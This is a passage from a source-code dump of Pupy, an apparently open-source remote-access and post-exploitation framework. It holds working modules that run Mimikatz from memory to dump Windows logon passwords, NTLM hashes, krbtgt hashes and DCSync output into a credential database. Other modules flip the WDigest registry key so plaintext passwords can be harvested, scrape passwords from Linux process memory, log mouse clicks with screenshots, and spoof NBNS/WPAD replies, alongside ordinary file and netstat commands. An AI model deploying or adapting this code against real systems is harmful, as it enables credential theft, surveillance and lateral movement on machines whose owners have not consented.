'disable'},\n            default='', help=\"Creates/Deletes the 'UseLogonCredential' \"\n            \"registry key enabling WDigest cred dumping on Windows >= 8.1\"\n        )\n\n    def run(self, args):\n\n        proc_arch = self.client.desc[\"proc_arch\"]\n        mimikatz_path = None\n        output = ''\n\n        if '64' in self.client.desc['os_arch'] and '32' in proc_arch:\n            self.error(\n                'You are in a x86 process right now. '\n                'You have to be in a x64 process for running Mimikatz.'\n                'Otherwise, the following Mimikatz error will occur '\n                'after \\'sekurlsa::logonPasswords\\':'\n                '\\'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 '\n                'cannot access x64 process\\'.'\n            )\n            return\n\n        # for windows 10, if the UseLogonCredential registry is not present\n        # or disable (equal to 0), not plaintext password can be retrieved\n        # using mimikatz.\n\n        if args.wdigest:\n            ok, message = self.client.conn.modules[\n                'pupwinutils.wdigest'\n            ].wdigest(args.wdigest)\n\n            if ok:\n                self.success(message)\n            else:\n                self.warning(str(message))\n\n            return\n\n        if '64' in proc_arch:\n            mimikatz_path = self.client.pupsrv.config.get(\n                'mimikatz', 'exe_x64'\n            )\n        else:\n            mimikatz_path = self.client.pupsrv.config.get(\n                'mimikatz', 'exe_Win32'\n            )\n\n        if not os.path.isfile(mimikatz_path):\n            self.error(\n                'Mimikatz exe %s not found ! please edit Mimikatz '\n                'section in pupy.conf' % mimikatz_path\n            )\n            return\n\n        mimikatz_args = args.args\n\n        if not mimikatz_args:\n            mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords']\n\n        mimikatz_args.append('exit')\n\n        if args.verbose:\n            self.log('Execute: ' + repr(mimikatz_args))\n\n        output = exec_pe(\n            self, tuple(mimikatz_args), path=mimikatz_path,\n            interactive=False\n        )\n\n        if not output:\n            self.warning('No output')\n            return\n\n        if args.verbose:\n            self.log(output)\n\n        creds = self.parse_mimikatz(output)\n        if not creds:\n            self.warning('No credentials found')\n            return\n\n        try:\n            # store credentials into the database\n            db = Credentials(client=self.client, config=self.config)\n            db.add(creds)\n            self.log(Table(creds, ['domain', 'login', 'hash', 'password']))\n            self.success(\"Credentials stored on the database\")\n        except:\n            self.error('No credentials stored in the database')\n\n    def parse_mimikatz(self, data):\n        \"\"\"\n        Parse the output from Invoke-Mimikatz to return credential sets.\n        This was directly stolen from the Empire project as well.\n        \"\"\"\n\n        # cred format:\n        #   credType, domain, username, password, hostname, sid\n        creds = []\n\n        # regexes for \"sekurlsa::logonpasswords\" Mimikatz output\n        regexes = [\n            \"(?s)(?<=msv :).*?(?=tspkg :)\",\n            \"(?s)(?<=tspkg :).*?(?=wdigest :)\",\n            \"(?s)(?<=wdigest :).*?(?=kerberos :)\",\n            \"(?s)(?<=kerberos :).*?(?=ssp :)\",\n            \"(?s)(?<=ssp :).*?(?=credman :)\",\n            \"(?s)(?<=credman :).*?(?=Authentication Id :)\",\n            \"(?s)(?<=credman :).*?(?=mimikatz)\"\n        ]\n\n        hostDomain = \"\"\n        domainSid = \"\"\n        hostName = \"\"\n\n        lines = data.split(\"\\n\")\n        for line in lines[0:2]:\n            if line.startswith(\"Hostname:\"):\n                try:\n                    domain = line.split(\":\")[1].strip()\n                    temp = domain.split(\"/\")[0].strip()\n                    domainSid = domain.split(\"/\")[1].strip()\n\n                    hostName = temp.split(\".\")[0]\n                    hostDomain = \".\".join(temp.split(\".\")[1:])\n                except:\n                    pass\n\n        for regex in regexes:\n\n            p = re.compile(regex)\n\n            for match in p.findall(data):\n\n                lines2 = match.split(\"\\n\")\n                username, domain, password = \"\", \"\", \"\"\n\n                for line in lines2:\n                    try:\n                        if \"Username\" in line:\n                            username = line.split(\":\",1)[1].strip()\n                        elif \"Domain\" in line:\n                            domain = line.split(\":\",1)[1].strip()\n                        elif \"NTLM\" in line or \"Password\" in line:\n                            password = line.split(\":\",1)[1].strip()\n                    except:\n                        pass\n\n                    if password:\n                        if username != \"\" and password != \"\" and password != \"(null)\":\n\n                            sid = \"\"\n\n                            # substitute the FQDN in if it matches\n                            if hostDomain.startswith(domain.lower()):\n                                domain = hostDomain\n                                sid = domainSid\n\n                            store = False\n                            category = ''\n                            if self.validate_ntlm(password):\n                                credType = \"Hash\"\n                                category = 'NTLM hash'\n                                if not username.endswith(\"$\"):\n                                    store = True\n\n                            else:\n                                credType = \"Password\"\n                                category = 'System password'\n                                # ignore big hex password\n                                if  len(password) < 300:\n                                    store = True\n\n                            result = {\n                                'Domain': domain,\n                                'Login': username,\n                                credType:password,\n                                'CredType': credType.lower(),\n                                'Host': hostName,\n                                'sid':sid,\n                                'Category': category,\n                                'uid': self.client.short_name()\n                            }\n                            # do not store password if it has already been stored\n                            for c in creds:\n                                if c == result:\n                                    store = False\n                            if store:\n                                creds.append(result)\n                        username, domain, password = \"\", \"\", \"\"\n\n        if len(creds) == 0:\n            # check if we have lsadump output to check for krbtgt\n            # happens on domain controller hashdumps\n            for x in xrange(8,13):\n                if lines[x].startswith(\"Domain :\"):\n\n                    domain, sid, krbtgtHash = \"\", \"\", \"\"\n\n                    try:\n                        domainParts = lines[x].split(\":\")[1]\n                        domain = domainParts.split(\"/\")[0].strip()\n                        sid = domainParts.split(\"/\")[1].strip()\n\n                        # substitute the FQDN in if it matches\n                        if hostDomain.startswith(domain.lower()):\n                            domain = hostDomain\n                            sid = domainSid\n\n                        for x in xrange(0, len(lines)):\n                            if lines[x].startswith(\"User : krbtgt\"):\n                                krbtgtHash = lines[x+2].split(\":\")[1].strip()\n                                break\n\n                        if krbtgtHash != \"\":\n                            creds.append({\n                                'Domain': domain,\n                                'Login': username,\n                                'Hash': krbtgtHash,\n                                'Host': hostName,\n                                'CredType': 'hash',\n                                'sid': sid,\n                                'Category': 'krbtgt hash',\n                                'uid': self.client.short_name()\n                            })\n\n                    except Exception as e:\n                        self.log(Error(e))\n\n        if len(creds) == 0:\n            # check if we get lsadump::dcsync output\n            if '** SAM ACCOUNT **' in lines:\n                domain, user, userHash, dcName, sid = \"\", \"\", \"\", \"\", \"\"\n                for line in lines:\n                    try:\n                        if line.strip().endswith(\"will be the domain\"):\n                            domain = line.split(\"'\")[1]\n                        elif line.strip().endswith(\"will be the DC server\"):\n                            dcName = line.split(\"'\")[1].split(\".\")[0]\n                        elif line.strip().startswith(\"SAM Username\"):\n                            user = line.split(\":\")[1].strip()\n                        elif line.strip().startswith(\"Object Security ID\"):\n                            parts = line.split(\":\")[1].strip().split(\"-\")\n                            sid = \"-\".join(parts[0:-1])\n                        elif line.strip().startswith(\"Hash NTLM:\"):\n                            userHash = line.split(\":\")[1].strip()\n                    except:\n                        pass\n\n                if domain != \"\" and userHash != \"\":\n                    creds.append({\n                        'Domain': domain,\n                        'Login': user,\n                        'Hash': userHash,\n                        'Host': dcName,\n                        'CredType': 'hash',\n                        'SID':sid, 'Category':\n                        'NTLM hash',\n                        'uid': self.client.short_name()\n                    })\n\n        return creds\n\n    def validate_ntlm(self, data):\n        allowed = re.compile(\"^[0-9a-f]{32}\", re.IGNORECASE)\n        if allowed.match(data):\n            return True\n        else:\n            return False\n"
  },
  {
    "path": "pupy/modules/mimipy.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.credentials import Credentials\n\n__class_name__=\"MimipyMod\"\n\n@config(cat=\"creds\", compat=\"linux\")\nclass MimipyMod(PupyModule):\n    \"\"\"\n        Run mimipy to retrieve credentials from memory\n    \"\"\"\n    dependencies=['memorpy', 'mimipy']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='mimipy', description=cls.__doc__)\n        cls.arg_parser.add_argument('-v', '--verbose', default=False, action='store_true', help='be more verbose !')\n\n    def run(self, args):\n        found=False\n        db = Credentials(client=self.client, config=self.config)\n\n        for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations=\"nsrx\", clean=False):\n            cred={\n                'Password': passwd,\n                'Login': u,\n                'Host': process,\n                'Category': 'Mimipy: %s'%t,\n                'CredType': 'password'\n            }\n            self.success('\\n\\t'.join([\"%s: %s\"%(i,v) for i,v in cred.items()])+\"\\n\\n\")\n            db.add([cred])\n            found=True\n        if not found:\n            self.success(\"no password found :/\")\n"
  },
  {
    "path": "pupy/modules/mimishell.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyArgumentParser,\n    REQUIRE_TERMINAL\n)\n\nfrom pupy.modules.memory_exec import MemoryExec\nfrom pupy.modules.lib.windows.memory_exec import exec_pe\n\nimport os.path\n\n__class_name__=\"Mimishell\"\n\n@config(cat=\"exploit\", compat=\"windows\")\nclass Mimishell(MemoryExec):\n    \"\"\"\n        execute mimikatz from memory (interactive)\n    \"\"\"\n\n    dependencies = [\n        'pupwinutils.memexec',\n    ]\n\n    io = REQUIRE_TERMINAL\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"mimikatz\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'args', nargs='*', help='run mimikatz commands from argv (let empty to open mimikatz interactively)')\n\n    def run(self, args):\n\n        proc_arch       = self.client.desc[\"proc_arch\"]\n        mimikatz_path   = None\n\n        if '64' in  self.client.desc['os_arch'] and \"32\" in proc_arch:\n            self.error(\"You are in a x86 process right now. You have to be in a x64 process for running Mimikatz.\")\n            self.error(\"Otherwise, the following Mimikatz error will occur after 'sekurlsa::logonPasswords':\")\n            self.error(\"'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process'\")\n            self.error(\"Mimikatz has not been executed on the target\")\n            return\n\n        if \"64\" in proc_arch:\n            mimikatz_path = self.client.pupsrv.config.get(\"mimikatz\",\"exe_x64\")\n        else:\n            mimikatz_path = self.client.pupsrv.config.get(\"mimikatz\",\"exe_Win32\")\n\n        if not os.path.isfile(mimikatz_path):\n            self.error(\"Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf\"%mimikatz_path)\n            return\n\n        mimikatz_args = args.args\n        exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=True)\n"
  },
  {
    "path": "pupy/modules/mkdir.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_dirs_completer\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__=\"mkdir\"\n\n\n@config(cat=\"admin\")\nclass mkdir(PupyModule):\n    \"\"\" create an empty directory \"\"\"\n\n    is_module = False\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"mkdir\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'dir', type=str, help='directory name', completer=remote_dirs_completer)\n\n    def run(self, args):\n        try:\n            mkdir = self.client.remote('pupyutils.basic_cmds', 'mkdir', 'False')\n            r = mkdir(args.dir)\n            if r:\n                self.log(r)\n\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n\n"
  },
  {
    "path": "pupy/modules/mouselogger.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nMOUSELOGGER_EVENT = 0x12000001\n\n__class_name__ = 'MouseLoggerModule'\n__events__ = {\n    MOUSELOGGER_EVENT: 'keylogger'\n}\n\n\n@config(compat=\"windows\", cat=\"gather\")\nclass MouseLoggerModule(PupyModule):\n    ''' log mouse clicks and take screenshots of areas around it '''\n    # WARNING : screenshots are kept in memory before beeing dumped\n    # TODO change that and add a callback to automatically send back\n    # screenshots without need for dumping\n\n    unique_instance = True\n    dependencies = ['pupwinutils.mouselogger', 'png', 'pupwinutils.hookfuncs']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='mouselogger', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            'action', choices=['start', 'stop', 'dump']\n        )\n\n    def run(self, args):\n        if args.action == 'start':\n            mouselogger_start = self.client.remote(\n                'pupwinutils.mouselogger', 'mouselogger_start', False\n            )\n            mouselogger_start(event_id=MOUSELOGGER_EVENT)\n\n        elif args.action == 'dump':\n            self.success(\"dumping recorded mouse clicks :\")\n            mouselogger_dump = self.client.remote(\n                'pupwinutils.mouselogger', 'mouselogger_dump'\n            )\n            screenshots_list = mouselogger_dump()\n\n            for d, height, width, exe, win_title, buf in screenshots_list:\n                try:\n                    filepath = self.config.get_file('mouseshots', {\n                        '%c': self.client.short_name(),\n                        '%w': win_title\n                    })\n\n                    with open(filepath, 'wb') as output:\n                        output.write(buf)\n                        self.info(\"screenshot saved to {}\".format(filepath))\n\n                except Exception as e:\n                    self.error('Error saving a screenshot: {}'.format(e))\n\n        elif args.action == 'stop':\n            mouselogger_stop = self.client.remote(\n                'pupwinutils.mouselogger', 'mouselogger_stop', False\n            )\n            mouselogger_stop()\n"
  },
  {
    "path": "pupy/modules/msgbox.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"MsgBoxPopup\"\n\n@config(cat=\"troll\", tags=[\"message\",\"popup\"], compatibilities=['windows', 'linux', 'darwin'])\nclass MsgBoxPopup(PupyModule):\n    \"\"\" Pop up a custom message box \"\"\"\n    dependencies = {\n        'windows': ['pupwinutils.msgbox'],\n        'linux': ['dbus', 'notify'],\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"msgbox\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--title', help='msgbox title')\n        cls.arg_parser.add_argument('text', help='text to print in the msgbox :)')\n\n    def run(self, args):\n        if self.client.is_windows():\n            self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)\n        elif self.client.is_linux():\n            self.client.conn.modules['notify'].notification(args.text, args.title)\n        elif self.client.is_darwin():\n            cmd = 'osascript -e \\'tell app \"Finder\" to display dialog \"%s\"\\'' % args.text\n            self.client.conn.modules.os.popen(cmd)\n\n        self.log(\"message box popped !\")\n"
  },
  {
    "path": "pupy/modules/mv.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer, remote_dirs_completer\n\n__class_name__ = 'mv'\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\n@config(cat=\"admin\")\nclass mv(PupyModule):\n    \"\"\" move file or directory \"\"\"\n    is_module = False\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"mv\", description=cls.__doc__)\n        cls.arg_parser.add_argument('src', type=str, action='store', completer=remote_path_completer)\n        cls.arg_parser.add_argument('dst', type=str, action='store', completer=remote_dirs_completer)\n\n    def run(self, args):\n        try:\n            mv = self.client.remote('pupyutils.basic_cmds', 'mv')\n\n            r = mv(args.src, args.dst)\n            if r:\n                self.log(r)\n\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n\n"
  },
  {
    "path": "pupy/modules/nbnsspoof.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.modules.lib.windows.winpcap import init_winpcap\nfrom pupy.pupylib.utils.rpyc_utils import redirected_stdo\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule,\n    QA_DANGEROUS, PupyArgumentParser,\n    REQUIRE_STREAM\n)\n\n__class_name__=\"NbnsSpoofModule\"\n\n@config(cat=\"network\", tags=[\"netbios\", \"NBNS\", \"spoof\"], compatibilities=['windows'])\nclass NbnsSpoofModule(PupyModule):\n    \"\"\" sniff for NBNS requests and spoof NBNS responses \"\"\"\n\n    dependencies=['nbnsspoof']\n\n    qa = QA_DANGEROUS\n    io = REQUIRE_STREAM\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='nbnsspoof.py', description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-i\", \"--iface\", default=None, help=\"change default iface\")\n        cls.arg_parser.add_argument(\"--timeout\", type=int, default=300, help=\"stop the spoofing after N seconds (default 300)\")\n        cls.arg_parser.add_argument(\"--regex\", default=\".*WPAD.*\", help=\"only answer for requests matching the regex (default: .*WPAD.*)\")\n        cls.arg_parser.add_argument(\"srcmac\", help=\"source mac address to use for the responses\")\n        cls.arg_parser.add_argument(\"ip\", help=\"IP to spoof\")\n\n\n    def run(self, args):\n        init_winpcap(self.client)\n        # Load full scapy\n        self.client.load_package('scapy', honor_ignore=False, force=True)\n\n        with redirected_stdo(self):\n            self.client.conn.modules['nbnsspoof'].start_nbnsspoof(\n                args.ip, args.srcmac, timeout=args.timeout, verbose=True,\n                interface=args.iface, name_regexp=args.regex)\n"
  },
  {
    "path": "pupy/modules/netcreds.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\n\n\n@config(cat='creds')\nclass NetCreds(PupyModule):\n    ''' Manage saved authentication information '''\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='netcreds', description=cls.__doc__\n        )\n\n        commands = cls.arg_parser.add_subparsers(title='actions')\n        cls.arg_parser.set_defaults(action=cls.help)\n\n        add = commands.add_parser('add', help='Add credential')\n        add.add_argument('username', help='Username')\n        add.add_argument('-P', '--password', help='Password')\n        add.add_argument('-s', '--schema', help='Schema')\n        add.add_argument('-d', '--domain', help='Domain')\n        add.add_argument('-p', '--port', type=int, help='Port')\n        add.add_argument('-r', '--realm', help='Realm')\n        add.add_argument('-a', '--hostname', help='Hostname / address')\n        add.add_argument('-i', '--ip', help='IP address')\n        add.add_argument('-f', '--path', help='Path')\n        add.add_argument('custom', nargs='*', help='Custom options, key=value')\n        add.set_defaults(action=cls.add)\n\n        remove = commands.add_parser(\n            'del', help='Delete credential which can be '\n            'found using these flags'\n        )\n        remove.add_argument('-u', '--username', help='Username')\n        remove.add_argument('-s', '--schema', help='Schema')\n        remove.add_argument('-d', '--domain', help='Domain')\n        remove.add_argument('-p', '--port', type=int, help='Port')\n        remove.add_argument('-r', '--realm', help='Realm')\n        remove.add_argument('-a', '--hostname', help='Hostname / address')\n        remove.add_argument('-i', '--ip', help='IP address')\n        remove.add_argument('-f', '--path', help='Path')\n        remove.set_defaults(action=cls.remove)\n\n        find = commands.add_parser(\n            'list', help='List credentials which can be '\n            'found using these flags'\n        )\n        find.add_argument('-u', '--username', help='Username')\n        find.add_argument('-s', '--schema', help='Schema')\n        find.add_argument('-d', '--domain', help='Domain')\n        find.add_argument('-p', '--port', type=int, help='Port')\n        find.add_argument('-r', '--realm', help='Realm')\n        find.add_argument('-a', '--hostname', help='Hostname / address')\n        find.add_argument('-i', '--ip', help='IP address')\n        find.add_argument('-f', '--path', help='Path')\n        find.set_defaults(action=cls.find)\n\n        clear = commands.add_parser('clear', help='Delete all credentials')\n        clear.set_defaults(action=cls.clear)\n\n    def run(self, args):\n        args.action(self, args)\n\n    def _draw_creds(self, creds):\n        columns = [\n            'schema', 'hostname', 'ip', 'port', 'path', 'domain',\n            'username', 'password', 'realm'\n        ]\n\n        objects = []\n\n        for cred in creds:\n            objects.append(dict(cred))\n\n        self.log(Table(objects, columns))\n\n    def help(self, args):\n        self.log(self.arg_parser.format_usage())\n\n    def find(self, args):\n        find_creds = self.client.remote(\n            'network.lib.netcreds', 'find_all_creds'\n        )\n        creds = find_creds(\n            args.schema, args.hostname or args.ip, args.port, args.username,\n            args.realm, args.domain, args.path, True\n        )\n\n        self._draw_creds(creds)\n\n    def add(self, args):\n        if not args.username:\n            self.error('Username required')\n            return\n\n        add_cred = self.client.remote('network.lib.netcreds', 'add_cred')\n        add_cred(\n            args.username, args.password, args.domain, args.schema,\n            args.hostname, args.ip, args.port, args.realm, args.path,\n            **dict(item.split('=', 1) for item in args.custom)\n        )\n\n    def remove(self, args):\n        remove_creds = self.client.remote(\n            'network.lib.netcreds', 'remove_creds'\n        )\n        remove_creds(\n            args.schema, args.hostname or args.ip, args.port, args.username,\n            args.realm, args.domain, args.path\n        )\n\n    def clear(self, args):\n        clear_creds = self.client.remote('network.lib.netcreds', 'clear_creds')\n        clear_creds()\n"
  },
  {
    "path": "pupy/modules/netmon.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, MultiPart\n\nNETMON_EVENT = 0x11000002\n\n__class_name__ = 'NetMon'\n__events__ = {\n    NETMON_EVENT: 'netmon'\n}\n\n\n@config(cat='admin')\nclass NetMon(PupyModule):\n    'Collect new IP endpoints'\n\n    unique_instance = True\n\n    dependencies = {\n        'all': ['netmon']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='netmon', description=cls.__doc__)\n\n        cls.arg_parser.add_argument(\n            'action', choices=['start', 'stop', 'dump']\n        )\n\n    def stop_daemon(self):\n        self.success('Netmon stopped')\n\n    def render_diff(self, diff):\n        if not diff:\n            return\n\n        listeners = []\n        ingress = []\n        egress = []\n        parts = []\n\n        for record in diff:\n            new_listeners_tcp, new_listeners_udp, \\\n                new_ingress_tcp, new_ingress_udp, \\\n                new_egress_tcp, new_egress_udp = record\n\n            for new_listeners in (new_listeners_tcp, new_listeners_udp):\n                if not new_listeners:\n                    continue\n\n                for listener in new_listeners:\n                    program, ip, port = listener\n                    listeners.append({\n                        'PRT': 'TCP' if id(new_listeners) == id(\n                            new_listeners_tcp) else 'UDP',\n                        'EXE': program,\n                        'HOST': ip,\n                        'PORT': port\n                    })\n\n            for new_ingress in (new_ingress_tcp, new_ingress_udp):\n                if not new_ingress:\n                    continue\n\n                for record in new_ingress:\n                    program, (ip, port), remote_ip = record\n                    ingress.append({\n                        'PRT': 'TCP' if id(new_ingress) == id(\n                            new_ingress_tcp) else 'UDP',\n                        'EXE': program,\n                        'LADDR': ip,\n                        'LPORT': port,\n                        'RADDR': remote_ip\n                    })\n\n            for new_egress in (new_egress_tcp, new_egress_udp):\n                if not new_egress:\n                    continue\n\n                for record in new_egress:\n                    program, (ip, port) = record\n                    egress.append({\n                        'PRT': 'TCP' if id(new_egress) == id(\n                            new_egress_tcp) else 'UDP',\n                        'EXE': program,\n                        'ADDR': ip,\n                        'PORT': port,\n                    })\n\n        if listeners:\n            parts.append(\n                Table(\n                    listeners, ['PRT', 'HOST', 'PORT', 'EXE'], 'Listeners'\n                )\n            )\n\n        if ingress:\n            parts.append(\n                Table(\n                    ingress, ['PRT', 'LADDR', 'LPORT', 'RADDR', 'EXE'], 'Ingress'\n                )\n            )\n\n        if egress:\n            parts.append(\n                Table(\n                    egress, ['PRT', 'ADDR', 'PORT', 'EXE'], 'Egress'\n                )\n            )\n\n        self.log(\n            MultiPart(parts)\n        )\n\n    def run(self, args):\n        if args.action == 'start':\n            netmon_start = self.client.remote('netmon', 'netmon_start', False)\n            if netmon_start(NETMON_EVENT):\n                self.success('Netmon started')\n            else:\n                self.error('Netmon already started')\n\n        elif args.action == 'dump':\n            netmon_dump = self.client.remote('netmon', 'netmon_dump')\n            data = netmon_dump()\n            if data is None:\n                self.error('Netmon is not running')\n            elif not data:\n                self.warning('No data')\n            else:\n                self.render_diff(data)\n\n        elif args.action == 'stop':\n            netmon_stop = self.client.remote('netmon', 'netmon_stop', False)\n            data = netmon_stop()\n            if data is None:\n                self.error('Netmon is not running')\n                return\n\n            elif data:\n                self.warning('Summary')\n                self.render_diff(data)\n\n            self.success('Netmon stopped')\n"
  },
  {
    "path": "pupy/modules/netstat.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nimport sys\nimport logging\n\n__class_name__ = 'NetStatModule'\n\nADMINS = (r'NT AUTHORITY\\SYSTEM', 'root')\n\n\n@config(cat=\"admin\")\nclass NetStatModule(PupyModule):\n    \"\"\" list terminal sessions \"\"\"\n\n    dependencies = ['pupyps']\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog=\"netstat\", description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-l', '--listen', action='store_true',\n            help='Show listening sockets'\n        )\n        cls.arg_parser.add_argument(\n            '-t', '--tcp', action='store_true', help='Show TCP'\n        )\n        cls.arg_parser.add_argument(\n            '-u', '--udp', action='store_true', help='Show UDP'\n        )\n        cls.arg_parser.add_argument(\n            '-s', '--show', nargs='+', default=[], help='Filter by word'\n        )\n        cls.arg_parser.add_argument(\n            '-x', '--hide', nargs='+', default=[], help='Filter out by word'\n        )\n\n    def run(self, args):\n        try:\n            connections = self.client.remote('pupyps', 'connections')\n\n            families = {\n                int(k): as_unicode_string(v)\n                for k, v in self.client.remote_const(\n                    'pupyps', 'families'\n                ).items()\n            }\n\n            socktypes = {\n                int(k): as_unicode_string(v)\n                for k, v in self.client.remote_const(\n                    'pupyps', 'socktypes'\n                ).items()\n            }\n\n            data = connections()\n\n            limit = []\n\n            if args.tcp:\n                limit.append('STREAM')\n            if args.udp:\n                limit.append('DGRAM')\n\n            objects = []\n            for connection in data:\n                if connection['status'] == 'LISTEN' and not args.listen:\n                    continue\n\n                if args.listen and not connection['status'] == 'LISTEN':\n                    continue\n\n                color = ''\n                family = families[connection['family']]\n                stype = socktypes[connection['type']]\n\n                if limit and stype not in limit:\n                    continue\n\n                if connection.get('self'):\n                    color = 'green'\n                elif connection['status'] in (\n                        'CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):\n                    color = 'darkgrey'\n                elif ('127.0.0.1' in connection['laddr'] or\n                        '::1' in connection['laddr']):\n                    color = 'grey'\n\n                deny = False\n                if args.show or '*' in args.hide:\n                    deny = True\n\n                connection = {\n                    'AF': Color(family, color),\n                    'TYPE': Color(stype, color),\n                    'LADDR': Color(':'.join([\n                        str(x) for x in connection['laddr']\n                    ]), color),\n                    'RADDR': Color(':'.join([\n                        str(x) for x in connection['raddr']\n                    ]), color),\n                    'PID': Color(connection.get('pid', ''), color),\n                    'USER': Color((connection.get('username') or ''), color),\n                    'NAME': Color(\n                        connection.get(\n                            'name', (connection.get('name') or '')\n                        ), color),\n                    'EXE': Color(\n                        connection.get(\n                            'exe', (connection.get('name') or '')\n                        ), color)\n                }\n\n                for v in connection.values():\n                    if any(as_unicode_string(h, 'convert') in\n                            as_unicode_string(v.data, 'convert')\n                            for h in args.hide):\n                        deny = True\n                    if any(as_unicode_string(h, 'convert') in\n                            as_unicode_string(v.data, 'convert')\n                            for h in args.show):\n                        deny = False\n\n                if not deny:\n                    objects.append(connection)\n\n            self.table(objects, [\n                'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'NAME', 'EXE'\n            ], truncate=True)\n\n        except Exception as e:\n            logging.exception(e)\n"
  },
  {
    "path": "pupy/modules/odbc.py",
